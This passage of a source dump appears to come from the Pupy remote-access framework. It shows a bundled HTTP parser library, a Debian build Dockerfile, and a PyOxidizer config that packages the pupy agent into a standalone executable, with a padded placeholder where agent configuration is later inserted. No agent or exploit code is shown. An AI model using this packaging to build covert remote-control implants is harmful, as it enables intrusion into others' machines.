be 0 to parseonly requests, 1 to parse only responses or 2 if we want to let the parser detect the type. """ self.parser = parser_class(kind=kind, decompress=decompress) self.stream = stream def _check_headers_complete(self): if self.parser.is_headers_complete(): return while True: try: next(self) except StopIteration: if self.parser.is_headers_complete(): return raise NoMoreData("Can't parse headers") if self.parser.is_headers_complete(): return def _wait_status_line(self, cond): if self.parser.is_headers_complete(): return True data = [] if not cond(): while True: try: d = next(self) data.append(d) except StopIteration: if self.parser.is_headers_complete(): return True raise BadStatusLine(b"".join(data)) if cond(): return True return True def _wait_on_url(self): return self._wait_status_line(self.parser.get_url) def _wait_on_status(self): return self._wait_status_line(self.parser.get_status_code) def _wait_on_method(self): return self._wait_status_line(self.parser.get_method) def url(self): """ get full url of the request """ self._wait_on_url() return self.parser.get_url() def path(self): """ get path of the request (url without query string and fragment """ self._wait_on_url() return self.parser.get_path() def query_string(self): """ get query string of the url """ self._wait_on_url() return self.parser.get_query_string() def fragment(self): """ get fragment of the url """ self._wait_on_url() return self.parser.get_fragment() def version(self): self._wait_on_status() return self.parser.get_version() def status_code(self): """ get status code of a response as integer """ self._wait_on_status() return self.parser.get_status_code() def status(self): """ return complete status with reason """ status_code = self.status_code() reason = status_reasons.get(int(status_code), 'unknown') return "%s %s" % (status_code, reason) def method(self): """ get HTTP method as string""" self._wait_on_method() return self.parser.get_method() def headers(self): """ get request/response headers, headers are returned in a OrderedDict that allows you to get value using insensitive keys.""" self._check_headers_complete() headers = self.parser.get_headers() return headers.copy() def should_keep_alive(self): """ return True if the connection should be kept alive """ self._check_headers_complete() return self.parser.should_keep_alive() def is_chunked(self): """ return True if Transfer-Encoding header value is chunked""" self._check_headers_complete() return self.parser.is_chunked() def wsgi_environ(self, initial=None): """ get WSGI environ based on the current request. :attr initial: dict, initial values to fill in environ. """ self._check_headers_complete() return self.parser.get_wsgi_environ() def body_file(self, buffering=None, binary=True, encoding=None, errors=None, newline=None): """ return the body as a buffered stream object. If binary is true an io.BufferedReader will be returned, else an io.TextIOWrapper. """ self._check_headers_complete() if buffering is None: buffering = -1 if buffering < 0: buffering = DEFAULT_BUFFER_SIZE raw = HttpBodyReader(self) buf = BufferedReader(raw, buffering) if binary: return buf text = TextIOWrapper(buf, encoding, errors, newline) return text def body_string(self, binary=True, encoding=None, errors=None, newline=None): """ return body as string """ return self.body_file(binary=binary, encoding=encoding, newline=newline).read() def __iter__(self): return self def __next__(self): if self.parser.is_message_complete(): raise StopIteration # fetch data b = bytearray(DEFAULT_BUFFER_SIZE) # if a nonblocking socket is used # then pep 3116 demands read/readinto to return 0 recved = self.stream.readinto(b) if recved is None: raise IOError('nonblocking socket used in blocking code') del b[recved:] to_parse = bytes(b) # parse data nparsed = self.parser.execute(to_parse, recved) if nparsed != recved and not self.parser.is_message_complete(): raise ParserError("nparsed != recved (%s != %s) [%s]" % (nparsed, recved, bytes_to_str(to_parse))) if recved == 0: raise StopIteration return to_parse next = __next__ ================================================ FILE: client/pyoxidizer-build/lib/http_parser/pyparser.py ================================================ # -*- coding: utf-8 - # # This file is part of http-parser released under the MIT license. # See the NOTICE for more information. import os import re import sys if sys.version_info >= (3,): import urllib.parse as urlparse else: import urlparse import zlib from http_parser.util import (b, bytes_to_str, IOrderedDict, StringIO, unquote, MAXSIZE) METHOD_RE = re.compile("[A-Z0-9$-_.]{3,20}") VERSION_RE = re.compile("HTTP/(\d+).(\d+)") STATUS_RE = re.compile("(\d{3})\s*(\w*)") HEADER_RE = re.compile("[\x00-\x1F\x7F()<>@,;:\[\]={} \t\\\\\"]") # errors BAD_FIRST_LINE = 0 INVALID_HEADER = 1 INVALID_CHUNK = 2 class InvalidRequestLine(Exception): """ error raised when first line is invalid """ class InvalidHeader(Exception): """ error raised on invalid header """ class InvalidChunkSize(Exception): """ error raised when we parse an invalid chunk size """ class HttpParser(object): def __init__(self, kind=2, decompress=False): self.kind = kind self.decompress = decompress # errors vars self.errno = None self.errstr = "" # protected variables self._buf = [] self._version = None self._method = None self._status_code = None self._status = None self._reason = None self._url = None self._path = None self._query_string = None self._fragment= None self._headers = IOrderedDict() self._environ = dict() self._chunked = False self._body = [] self._trailers = None self._partial_body = False self._clen = None self._clen_rest = None # private events self.__on_firstline = False self.__on_headers_complete = False self.__on_message_begin = False self.__on_message_complete = False self.__decompress_obj = None self.__decompress_first_try = True def get_version(self): return self._version def get_method(self): return self._method def get_status_code(self): return self._status_code def get_url(self): return self._url def get_path(self): return self._path def get_query_string(self): return self._query_string def get_fragment(self): return self._fragment def get_headers(self): return self._headers def get_wsgi_environ(self): if not self.__on_headers_complete: return None environ = self._environ.copy() # clean special keys for key in ("CONTENT_LENGTH", "CONTENT_TYPE", "SCRIPT_NAME"): hkey = "HTTP_%s" % key if hkey in environ: environ[key] = environ.pop(hkey) script_name = environ.get('SCRIPT_NAME', os.environ.get("SCRIPT_NAME", "")) if script_name: path_info = self._path.split(script_name, 1)[1] environ.update({ "PATH_INFO": unquote(path_info), "SCRIPT_NAME": script_name}) else: environ['SCRIPT_NAME'] = "" if environ.get('HTTP_X_FORWARDED_PROTOCOL', '').lower() == "ssl": environ['wsgi.url_scheme'] = "https" elif environ.get('HTTP_X_FORWARDED_SSL', '').lower() == "on": environ['wsgi.url_scheme'] = "https" else: environ['wsgi.url_scheme'] = "http" return environ def recv_body(self): """ return last chunk of the parsed body""" body = b("").join(self._body) self._body = [] self._partial_body = False return body def recv_body_into(self, barray): """ Receive the last chunk of the parsed body and store the data in a buffer rather than creating a new string. """ l = len(barray) body = b("").join(self._body) m = min(len(body), l) data, rest = body[:m], body[m:] barray[0:m] = data if not rest: self._body = [] self._partial_body = False else: self._body = [rest] return m def is_upgrade(self): """ Do we get upgrade header in the request. Useful for websockets """ hconn = self._headers.get('connection', "").lower() hconn_parts = [x.strip() for x in hconn.split(',')] return "upgrade" in hconn_parts def is_headers_complete(self): """ return True if all headers have been parsed. """ return self.__on_headers_complete def is_partial_body(self): """ return True if a chunk of body have been parsed """ return self._partial_body def is_message_begin(self): """ return True if the parsing start """ return self.__on_message_begin def is_message_complete(self): """ return True if the parsing is done (we get EOF) """ return self.__on_message_complete def is_chunked(self): """ return True if Transfer-Encoding header value is chunked""" return self._chunked def should_keep_alive(self): """ return True if the connection should be kept alive """ hconn = self._headers.get('connection', "").lower() if hconn == "close": return False elif hconn == "keep-alive": return True return self._version == (1, 1) def execute(self, data, length): # end of body can be passed manually by putting a length of 0 if length == 0: self.__on_message_complete = True return length # start to parse nb_parsed = 0 while True: if not self.__on_firstline: idx = data.find(b("\r\n")) if idx < 0: self._buf.append(data) return len(data) else: self.__on_firstline = True self._buf.append(data[:idx]) first_line = bytes_to_str(b("").join(self._buf)) nb_parsed = nb_parsed + idx + 2 rest = data[idx+2:] data = b("") if self._parse_firstline(first_line): self._buf = [rest] else: return nb_parsed elif not self.__on_headers_complete: if data: self._buf.append(data) data = b("") try: to_parse = b("").join(self._buf) ret = self._parse_headers(to_parse) if type(ret) is bool and not ret: return length nb_parsed = nb_parsed + (len(to_parse) - ret) except InvalidHeader as e: self.errno = INVALID_HEADER self.errstr = str(e) return nb_parsed elif not self.__on_message_complete: if not self.__on_message_begin: self.__on_message_begin = True if data: self._buf.append(data) data = b("") ret = self._parse_body() if ret is None: return length elif ret < 0: return ret elif ret == 0: self.__on_message_complete = True return length else: nb_parsed = max(length, ret) else: return 0 def _parse_firstline(self, line): try: if self.kind == 2: # auto detect try: self._parse_request_line(line) except InvalidRequestLine: self._parse_response_line(line) elif self.kind == 1: self._parse_response_line(line) elif self.kind == 0: self._parse_request_line(line) except InvalidRequestLine as e: self.errno = BAD_FIRST_LINE self.errstr = str(e) return False return True def _parse_response_line(self, line): bits = line.split(None, 1) if len(bits) != 2: raise InvalidRequestLine(line) # version matchv = VERSION_RE.match(bits[0]) if matchv is None: raise InvalidRequestLine("Invalid HTTP version: %s" % bits[0]) self._version = (int(matchv.group(1)), int(matchv.group(2))) # status matchs = STATUS_RE.match(bits[1]) if matchs is None: raise InvalidRequestLine("Invalid status %" % bits[1]) self._status = bits[1] self._status_code = int(matchs.group(1)) self._reason = matchs.group(2) def _parse_request_line(self, line): bits = line.split(None, 2) if len(bits) != 3: raise InvalidRequestLine(line) # Method if not METHOD_RE.match(bits[0]): raise InvalidRequestLine("invalid Method: %s" % bits[0]) self._method = bits[0].upper() # URI self._url = bits[1] parts = urlparse.urlsplit(bits[1]) self._path = parts.path or "" self._query_string = parts.query or "" self._fragment = parts.fragment or "" # Version match = VERSION_RE.match(bits[2]) if match is None: raise InvalidRequestLine("Invalid HTTP version: %s" % bits[2]) self._version = (int(match.group(1)), int(match.group(2))) # update environ if hasattr(self,'_environ'): self._environ.update({ "PATH_INFO": self._path, "QUERY_STRING": self._query_string, "RAW_URI": self._url, "REQUEST_METHOD": self._method, "SERVER_PROTOCOL": bits[2]}) def _parse_headers(self, data): idx = data.find(b("\r\n\r\n")) if idx < 0: # we don't have all headers if self._status_code == 204 and data == b("\r\n"): self._buf = [] self.__on_headers_complete = True return 0 else: return False # Split lines on \r\n keeping the \r\n on each line lines = [bytes_to_str(line) + "\r\n" for line in data[:idx].split(b("\r\n"))] # Parse headers into key/value pairs paying attention # to continuation lines. while len(lines): # Parse initial header name : value pair. curr = lines.pop(0) if curr.find(":") < 0: raise InvalidHeader("invalid line %s" % curr.strip()) name, value = curr.split(":", 1) name = name.rstrip(" \t").upper() if HEADER_RE.search(name): raise InvalidHeader("invalid header name %s" % name) if value.endswith("\r\n"): value = value[:-2] name, value = name.strip(), [value.lstrip()] # Consume value continuation lines while len(lines) and lines[0].startswith((" ", "\t")): curr = lines.pop(0) if curr.endswith("\r\n"): curr = curr[:-2] value.append(curr) value = ''.join(value).rstrip() # multiple headers if name in self._headers: value = "%s, %s" % (self._headers[name], value) # store new header value self._headers[name] = value # update WSGI environ key = 'HTTP_%s' % name.upper().replace('-','_') self._environ[key] = value # detect now if body is sent by chunks. clen = self._headers.get('content-length') te = self._headers.get('transfer-encoding', '').lower() if clen is not None: try: self._clen_rest = self._clen = int(clen) except ValueError: pass else: self._chunked = (te == 'chunked') if not self._chunked: self._clen_rest = MAXSIZE # detect encoding and set decompress object encoding = self._headers.get('content-encoding') if self.decompress: if encoding == "gzip": self.__decompress_obj = zlib.decompressobj(16+zlib.MAX_WBITS) self.__decompress_first_try = False elif encoding == "deflate": self.__decompress_obj = zlib.decompressobj() rest = data[idx+4:] self._buf = [rest] self.__on_headers_complete = True return len(rest) def _parse_body(self): if self._status_code == 204 and len(self._buf) == 0: self.__on_message_complete = True return elif not self._chunked: body_part = b("").join(self._buf) self._clen_rest -= len(body_part) # maybe decompress if self.__decompress_obj is not None: if not self.__decompress_first_try: body_part = self.__decompress_obj.decompress(body_part) else: try: body_part = self.__decompress_obj.decompress(body_part) except zlib.error: self.__decompress_obj.decompressobj = zlib.decompressobj(-zlib.MAX_WBITS) body_part = self.__decompress_obj.decompress(body_part) self.__decompress_first_try = False self._partial_body = True self._body.append(body_part) self._buf = [] if self._clen_rest <= 0: self.__on_message_complete = True return else: data = b("").join(self._buf) try: size, rest = self._parse_chunk_size(data) except InvalidChunkSize as e: self.errno = INVALID_CHUNK self.errstr = "invalid chunk size [%s]" % str(e) return -1 if size == 0: return size if size is None or len(rest) < size + 2: # wait till terminator return None body_part, rest = rest[:size], rest[size:] if len(rest) < 2: self.errno = INVALID_CHUNK self.errstr = "chunk missing terminator [%s]" % data return -1 # maybe decompress if self.__decompress_obj is not None: body_part = self.__decompress_obj.decompress(body_part) self._partial_body = True self._body.append(body_part) self._buf = [rest[2:]] return len(rest) def _parse_chunk_size(self, data): idx = data.find(b("\r\n")) if idx < 0: return None, None line, rest_chunk = data[:idx], data[idx+2:] chunk_size = line.split(b(";"), 1)[0].strip() try: chunk_size = int(chunk_size, 16) except ValueError: raise InvalidChunkSize(chunk_size) if chunk_size == 0: self._parse_trailers(rest_chunk) return 0, None return chunk_size, rest_chunk def _parse_trailers(self, data): idx = data.find(b("\r\n\r\n")) if data[:2] == b("\r\n"): self._trailers = self._parse_headers(data[:idx]) ================================================ FILE: client/pyoxidizer-build/lib/http_parser/reader.py ================================================ # -*- coding: utf-8 - # # This file is part of http-parser released under the MIT license. # See the NOTICE for more information. from io import DEFAULT_BUFFER_SIZE, RawIOBase from http_parser.util import StringIO import types class HttpBodyReader(RawIOBase): """ Raw implementation to stream http body """ def __init__(self, http_stream): self.http_stream = http_stream self.eof = False def readinto(self, b): if self.http_stream.parser.is_message_complete() or self.eof: if self.http_stream.parser.is_partial_body(): return self.http_stream.parser.recv_body_into(b) return 0 self._checkReadable() try: self._checkClosed() except AttributeError: pass while True: buf = bytearray(DEFAULT_BUFFER_SIZE) recved = self.http_stream.stream.readinto(buf) if recved is None: break del buf[recved:] nparsed = self.http_stream.parser.execute(bytes(buf), recved) if nparsed != recved: return None if self.http_stream.parser.is_partial_body() or recved == 0: break elif self.http_stream.parser.is_message_complete(): break if not self.http_stream.parser.is_partial_body(): self.eof = True b = b'' return len(b'') return self.http_stream.parser.recv_body_into(b) def readable(self): return not self.closed or self.http_stream.parser.is_partial_body() def close(self): if self.closed: return RawIOBase.close(self) self.http_stream = None class IterReader(RawIOBase): """ A raw reader implementation for iterable """ def __init__(self, iterable): self.iter = iter(iterable) self._buffer = "" def readinto(self, b): self._checkClosed() self._checkReadable() l = len(b) try: chunk = self.iter.next() self._buffer += chunk m = min(len(self._buffer), l) data, self._buffer = self._buffer[:m], self._buffer[m:] b[0:m] = data return len(data) except StopIteration: del b[0:] return 0 def readable(self): return not self.closed def close(self): if self.closed: return RawIOBase.close(self) self.iter = None class StringReader(IterReader): """ a raw reader for strings or StringIO.StringIO, cStringIO.StringIO objects """ def __init__(self, string): if isinstance(string, types.StringTypes): iterable = StringIO(string) else: iterable = string IterReader.__init__(self, iterable) from http_parser._socketio import SocketIO class SocketReader(SocketIO): def __init__(self, sock): super(SocketReader, self).__init__(sock, mode='rb') ================================================ FILE: client/pyoxidizer-build/lib/http_parser/util.py ================================================ # -*- coding: utf-8 - # # This file is part of http-parser released under the MIT license. # See the NOTICE for more information. import sys try: # Python 3.3+ from collections.abc import MutableMapping except ImportError: from collections import MutableMapping if sys.version_info[0] >= 3: from urllib.parse import unquote def b(s): return s.encode("latin-1") def bytes_to_str(b): return str(b, 'latin1') string_types = str, import io StringIO = io.StringIO MAXSIZE = sys.maxsize else: from urllib import unquote def b(s): return s def bytes_to_str(s): return s string_types = basestring, try: import cStringIO StringIO = BytesIO = cStringIO.StringIO except ImportError: import StringIO StringIO = BytesIO = StringIO.StringIO # It's possible to have sizeof(long) != sizeof(Py_ssize_t). class X(object): def __len__(self): return 1 << 31 try: len(X()) except OverflowError: # 32-bit MAXSIZE = int((1 << 31) - 1) else: # 64-bit MAXSIZE = int((1 << 63) - 1) del X class IOrderedDict(dict, MutableMapping): 'Dictionary that remembers insertion order with insensitive key' # An inherited dict maps keys to values. # The inherited dict provides __getitem__, __len__, __contains__, and get. # The remaining methods are order-aware. # Big-O running times for all methods are the same as for regular dictionaries. # The internal self.__map dictionary maps keys to links in a doubly linked list. # The circular doubly linked list starts and ends with a sentinel element. # The sentinel element never gets deleted (this simplifies the algorithm). # Each link is stored as a list of length three: [PREV, NEXT, KEY]. def __init__(self, *args, **kwds): '''Initialize an ordered dictionary. Signature is the same as for regular dictionaries, but keyword arguments are not recommended because their insertion order is arbitrary. ''' if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) try: self.__root except AttributeError: self.__root = root = [None, None, None] # sentinel node PREV = 0 NEXT = 1 root[PREV] = root[NEXT] = root self.__map = {} self.__lower = {} self.update(*args, **kwds) def __setitem__(self, key, value, PREV=0, NEXT=1, dict_setitem=dict.__setitem__): 'od.__setitem__(i, y) <==> od[i]=y' # Setting a new item creates a new link which goes at the end of the linked # list, and the inherited dictionary is updated with the new key/value pair. if key not in self: root = self.__root last = root[PREV] last[NEXT] = root[PREV] = self.__map[key] = [last, root, key] self.__lower[key.lower()] = key key = self.__lower[key.lower()] dict_setitem(self, key, value) def __delitem__(self, key, PREV=0, NEXT=1, dict_delitem=dict.__delitem__): 'od.__delitem__(y) <==> del od[y]' # Deleting an existing item uses self.__map to find the link which is # then removed by updating the links in the predecessor and successor nodes. if key in self: key = self.__lower.pop(key.lower()) dict_delitem(self, key) link = self.__map.pop(key) link_prev = link[PREV] link_next = link[NEXT] link_prev[NEXT] = link_next link_next[PREV] = link_prev def __getitem__(self, key, dict_getitem=dict.__getitem__): if key in self: key = self.__lower.get(key.lower()) return dict_getitem(self, key) def __contains__(self, key): return key.lower() in self.__lower def __iter__(self, NEXT=1, KEY=2): 'od.__iter__() <==> iter(od)' # Traverse the linked list in order. root = self.__root curr = root[NEXT] while curr is not root: yield curr[KEY] curr = curr[NEXT] def __reversed__(self, PREV=0, KEY=2): 'od.__reversed__() <==> reversed(od)' # Traverse the linked list in reverse order. root = self.__root curr = root[PREV] while curr is not root: yield curr[KEY] curr = curr[PREV] def __reduce__(self): 'Return state information for pickling' items = [[k, self[k]] for k in self] tmp = self.__map, self.__root del self.__map, self.__root inst_dict = vars(self).copy() self.__map, self.__root = tmp if inst_dict: return (self.__class__, (items,), inst_dict) return self.__class__, (items,) def clear(self): 'od.clear() -> None. Remove all items from od.' try: for node in self.__map.values(): del node[:] self.__root[:] = [self.__root, self.__root, None] self.__map.clear() except AttributeError: pass dict.clear(self) def get(self, key, default=None): if key in self: return self[key] return default setdefault = MutableMapping.setdefault update = MutableMapping.update pop = MutableMapping.pop keys = MutableMapping.keys values = MutableMapping.values items = MutableMapping.items __ne__ = MutableMapping.__ne__ def popitem(self, last=True): '''od.popitem() -> (k, v), return and remove a (key, value) pair. Pairs are returned in LIFO order if last is true or FIFO order if false. ''' if not self: raise KeyError('dictionary is empty') key = next(reversed(self) if last else iter(self)) value = self.pop(key) return key, value def __repr__(self): 'od.__repr__() <==> repr(od)' if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, list(self.items())) def copy(self): 'od.copy() -> a shallow copy of od' return self.__class__(self) @classmethod def fromkeys(cls, iterable, value=None): '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S and values equal to v (which defaults to None). ''' d = cls() for key in iterable: d[key] = value return d def __eq__(self, other): '''od.__eq__(y) <==> od==y. Comparison to another OD is order-sensitive while comparison to a regular mapping is order-insensitive. ''' if isinstance(other, IOrderedDict): return len(self)==len(other) and \ set(self.items()) == set(other.items()) return dict.__eq__(self, other) def __del__(self): self.clear() # eliminate cyclical references status_reasons = { # Status Codes # Informational 100: 'Continue', 101: 'Switching Protocols', 102: 'Processing', # Successful 200: 'OK', 201: 'Created', 202: 'Accepted', 203: 'Non Authoritative Information', 204: 'No Content', 205: 'Reset Content', 206: 'Partial Content', 207: 'Multi Status', 226: 'IM Used', # Redirection 300: 'Multiple Choices', 301: 'Moved Permanently', 302: 'Found', 303: 'See Other', 304: 'Not Modified', 305: 'Use Proxy', 307: 'Temporary Redirect', # Client Error 400: 'Bad Request', 401: 'Unauthorized', 402: 'Payment Required', 403: 'Forbidden', 404: 'Not Found', 405: 'Method Not Allowed', 406: 'Not Acceptable', 407: 'Proxy Authentication Required', 408: 'Request Timeout', 409: 'Conflict', 410: 'Gone', 411: 'Length Required', 412: 'Precondition Failed', 413: 'Request Entity Too Large', 414: 'Request URI Too Long', 415: 'Unsupported Media Type', 416: 'Requested Range Not Satisfiable', 417: 'Expectation Failed', 422: 'Unprocessable Entity', 423: 'Locked', 424: 'Failed Dependency', 426: 'Upgrade Required', # Server Error 500: 'Internal Server Error', 501: 'Not Implemented', 502: 'Bad Gateway', 503: 'Service Unavailable', 504: 'Gateway Timeout', 505: 'HTTP Version Not Supported', 507: 'Insufficient Storage', 510: 'Not Extended', } ================================================ FILE: client/pyoxidizer-build/linux-builder.Dockerfile ================================================ # Debian Jessie. FROM debian@sha256:32ad5050caffb2c7e969dac873bce2c370015c2256ff984b70c1c08b3a2816a0 RUN groupadd -g 1000 build && \ useradd -u 1000 -g 1000 -d /build -s /bin/bash -m build && \ mkdir /tools && \ chown -R build:build /build /tools ENV HOME=/build \ SHELL=/bin/bash \ USER=build \ LOGNAME=build \ HOSTNAME=builder \ DEBIAN_FRONTEND=noninteractive CMD ["/bin/bash", "--login"] WORKDIR '/build' RUN for s in debian_jessie debian_jessie-updates debian-security_jessie/updates; do \ echo "deb http://snapshot.debian.org/archive/${s%_*}/20220429T205342Z/ ${s#*_} main"; \ done > /etc/apt/sources.list && \ ( echo 'quiet "true";'; \ echo 'APT::Get::Assume-Yes "true";'; \ echo 'APT::Install-Recommends "false";'; \ echo 'Acquire::Check-Valid-Until "false";'; \ echo 'Acquire::Retries "5";'; \ ) > /etc/apt/apt.conf.d/99builder RUN apt-get update RUN apt-get install --force-yes \ ca-certificates \ curl \ file \ gcc \ gcc-multilib \ make \ musl-tools \ xz-utils # The binutils in Jessie is too old to link the python-build-standalone distributions # due to a R_X86_64_REX_GOTPCRELX relocation. So install a newer binutils. RUN curl --insecure https://ftp.gnu.org/gnu/binutils/binutils-2.36.1.tar.xz > binutils.tar.xz && \ echo 'e81d9edf373f193af428a0f256674aea62a9d74dfe93f65192d4eae030b0f3b0 binutils.tar.xz' | sha256sum -c - && \ tar -xf binutils.tar.xz && \ rm binutils.tar.xz && \ mkdir binutils-objdir && \ cd binutils-objdir && \ ../binutils-2.36.1/configure \ --build=x86_64-unknown-linux-gnu \ --prefix=/usr/local \ --enable-plugins \ --disable-nls \ --with-sysroot=/ && \ make -j `nproc` && \ make install -j `nproc` && \ cd .. && \ rm -rf binutils-objdir USER build RUN curl --insecure https://raw.githubusercontent.com/rust-lang/rustup/ce5817a94ac372804babe32626ba7fd2d5e1b6ac/rustup-init.sh > rustup-init.sh && \ echo 'a3cb081f88a6789d104518b30d4aa410009cd08c3822a1226991d6cf0442a0f8 rustup-init.sh' | sha256sum -c - && \ chmod +x rustup-init.sh && \ ./rustup-init.sh -y --default-toolchain 1.66.0 --profile minimal && \ ~/.cargo/bin/rustup target add x86_64-unknown-linux-musl RUN curl --insecure -L https://github.com/indygreg/python-build-standalone/releases/download/20230507/cpython-3.10.11+20230507-x86_64-unknown-linux-gnu-install_only.tar.gz > python.tar.gz && \ echo 'c5bcaac91bc80bfc29cf510669ecad12d506035ecb3ad85ef213416d54aecd79 python.tar.gz' | sha256sum -c - && \ tar -xf python.tar.gz && \ rm python.tar.gz && \ echo 'export PATH="$HOME/python/bin:$PATH"' >> ~/.bashrc # Force a snapshot of the Cargo index into the image. This should hopefully # speed up subsequent operations needing to fetch the index. RUN ~/.cargo/bin/cargo init cargo-fetch && \ cd cargo-fetch && \ echo 'pyembed = "0"' >> Cargo.toml && \ ~/.cargo/bin/cargo update && \ cd && \ rm -rf cargo-fetch ================================================ FILE: client/pyoxidizer-build/pyoxidizer.bzl ================================================ # This file defines how PyOxidizer application building and packaging is # performed. See PyOxidizer's documentation at # https://gregoryszorc.com/docs/pyoxidizer/stable/pyoxidizer.html for details # of this configuration file format. # Configuration files consist of functions which define build "targets." # This function creates a Python executable and installs it in a destination # directory. def make_exe(): # Obtain the default PythonDistribution for our build target. We link # this distribution into our produced executable and extract the Python # standard library from it. dist = default_python_distribution() # This function creates a `PythonPackagingPolicy` instance, which # influences how executables are built and how resources are added to # the executable. You can customize the default behavior by assigning # to attributes and calling functions. policy = dist.make_python_packaging_policy() # Enable support for non-classified "file" resources to be added to # resource collections. policy.allow_files = True # Control support for loading Python extensions and other shared libraries # from memory. This is only supported on Windows and is ignored on other # platforms. policy.allow_in_memory_shared_library_loading = True # Control whether to generate Python bytecode at various optimization # levels. The default optimization level used by Python is 0. # policy.bytecode_optimize_level_zero = True # policy.bytecode_optimize_level_one = True policy.bytecode_optimize_level_two = True # Package all available Python extensions in the distribution. # policy.extension_module_filter = "all" # Package the minimum set of Python extensions in the distribution needed # to run a Python interpreter. Various functionality from the Python # standard library won't work with this setting! But it can be used to # reduce the size of generated executables by omitting unused extensions. # policy.extension_module_filter = "minimal" # Package Python extensions in the distribution not having additional # library dependencies. This will exclude working support for SSL, # compression formats, and other functionality. # policy.extension_module_filter = "no-libraries" # Package Python extensions in the distribution not having a dependency on # copyleft licensed software like GPL. # policy.extension_module_filter = "no-copyleft" # Controls whether the file scanner attempts to classify files and emit # resource-specific values. # policy.file_scanner_classify_files = True # Controls whether `File` instances are emitted by the file scanner. # policy.file_scanner_emit_files = False # Controls the `add_include` attribute of "classified" resources # (`PythonModuleSource`, `PythonPackageResource`, etc). # policy.include_classified_resources = True # Toggle whether Python module source code for modules in the Python # distribution's standard library are included. policy.include_distribution_sources = True # Toggle whether Python package resource files for the Python standard # library are included. policy.include_distribution_resources = False # Controls the `add_include` attribute of `File` resources. policy.include_file_resources = False # Controls the `add_include` attribute of `PythonModuleSource` not in # the standard library. # policy.include_non_distribution_sources = True # Toggle whether files associated with tests are included. policy.include_test = False # Resources are loaded from "in-memory" or "filesystem-relative" paths. # The locations to attempt to add resources to are defined by the # `resources_location` and `resources_location_fallback` attributes. # The former is the first/primary location to try and the latter is # an optional fallback. # Use in-memory location for adding resources by default. policy.resources_location = "in-memory" # Use filesystem-relative location for adding resources by default. # policy.resources_location = "filesystem-relative:prefix" # Attempt to add resources relative to the built binary when # `resources_location` fails. # policy.resources_location_fallback = "filesystem-relative:prefix" # Clear out a fallback resource location. policy.resources_location_fallback = None # Define a preferred Python extension module variant in the Python distribution # to use. # policy.set_preferred_extension_module_variant("foo", "bar") # Configure policy values to classify files as typed resources. # (This is the default.) # policy.set_resource_handling_mode("classify") # Configure policy values to handle files as files and not attempt # to classify files as specific types. # policy.set_resource_handling_mode("files") # This variable defines the configuration of the embedded Python # interpreter. By default, the interpreter will run a Python REPL # using settings that are appropriate for an "isolated" run-time # environment. # # The configuration of the embedded Python interpreter can be modified # by setting attributes on the instance. Some of these are # documented below. python_config = dist.make_python_interpreter_config() # Make the embedded interpreter behave like a `python` process. # python_config.config_profile = "python" # Set initial value for `sys.path`. If the string `$ORIGIN` exists in # a value, it will be expanded to the directory of the built executable. # python_config.module_search_paths = ["$ORIGIN/lib"] # Use jemalloc as Python's memory allocator. # python_config.allocator_backend = "jemalloc" # Use mimalloc as Python's memory allocator. # python_config.allocator_backend = "mimalloc" # Use snmalloc as Python's memory allocator. # python_config.allocator_backend = "snmalloc" # Let Python choose which memory allocator to use. (This will likely # use the malloc()/free() linked into the program. # python_config.allocator_backend = "default" # Enable the use of a custom allocator backend with the "raw" memory domain. # python_config.allocator_raw = True # Enable the use of a custom allocator backend with the "mem" memory domain. # python_config.allocator_mem = True # Enable the use of a custom allocator backend with the "obj" memory domain. # python_config.allocator_obj = True # Enable the use of a custom allocator backend with pymalloc's arena # allocator. # python_config.allocator_pymalloc_arena = True # Enable Python memory allocator debug hooks. # python_config.allocator_debug = True # Automatically calls `multiprocessing.set_start_method()` with an # appropriate value when OxidizedFinder imports the `multiprocessing` # module. # python_config.multiprocessing_start_method = 'auto' # Do not call `multiprocessing.set_start_method()` automatically. (This # is the default behavior of Python applications.) # python_config.multiprocessing_start_method = 'none' # Call `multiprocessing.set_start_method()` with explicit values. # python_config.multiprocessing_start_method = 'fork' # python_config.multiprocessing_start_method = 'forkserver' # python_config.multiprocessing_start_method = 'spawn' # Control whether `oxidized_importer` is the first importer on # `sys.meta_path`. # python_config.oxidized_importer = False # Enable the standard path-based importer which attempts to load # modules from the filesystem. python_config.filesystem_importer = False # Set `sys.frozen = False` # python_config.sys_frozen = False # Set `sys.meipass` # python_config.sys_meipass = True # Write files containing loaded modules to the directory specified # by the given environment variable. # python_config.write_modules_directory_env = "/tmp/oxidized/loaded_modules" # Evaluate a string as Python code when the interpreter starts. python_config.run_command = "####---PUPY_CONFIG_COMES_HERE---####"+("#"*(50000-35)) # Run a Python module as __main__ when the interpreter starts. # python_config.run_module = "" # Run a Python file when the interpreter starts. # python_config.run_filename = "/path/to/file" # Produce a PythonExecutable from a Python distribution, embedded # resources, and other options. The returned object represents the # standalone executable that will be built. exe = dist.to_python_executable( name="pyoxydizer_pupy", # If no argument passed, the default `PythonPackagingPolicy` for the # distribution is used. packaging_policy=policy, # If no argument passed, the default `PythonInterpreterConfig` is used. config=python_config, ) # Install tcl/tk support files to a specified directory so the `tkinter` Python # module works. # exe.tcl_files_path = "lib" # Never attempt to copy Windows runtime DLLs next to the built executable. # exe.windows_runtime_dlls_mode = "never" # Copy Windows runtime DLLs next to the built executable when they can be # located. # exe.windows_runtime_dlls_mode = "when-present" # Copy Windows runtime DLLs next to the build executable and error if this # cannot be done. # exe.windows_runtime_dlls_mode = "always" # Make the executable a console application on Windows. # exe.windows_subsystem = "console" # Make the executable a non-console application on Windows. # exe.windows_subsystem = "windows" # Invoke `pip download` to install a single package using wheel archives # obtained via `pip download`. `pip_download()` returns objects representing # collected files inside Python wheels. `add_python_resources()` adds these # objects to the binary, with a load location as defined by the packaging # policy's resource location attributes. #exe.add_python_resources(exe.pip_download(["pyflakes==2.2.0"])) # Invoke `pip install` with our Python distribution to install a single package. # `pip_install()` returns objects representing installed files. # `add_python_resources()` adds these objects to the binary, with a load # location as defined by the packaging policy's resource location # attributes. #exe.add_python_resources(exe.pip_install(["appdirs"])) # Read Python files from a local directory and add them to our embedded # context, taking just the resources belonging to the `foo` and `bar` # Python packages. #exe.add_python_resources(exe.read_package_root( # path="lib/pupy", # packages=["pupy", "pupy.agent"], #)) exe.add_python_resources(exe.read_package_root( path=CWD+"/lib", packages=["http_parser", "pupy", "pupy.agent", "pupy.network"] )) exe.add_python_resources(exe.read_package_root( path=CWD+"/library_patches_py3", packages=["umsgpack"], )) # Invoke `pip install` using a requirements file and add the collected resources # to our binary. 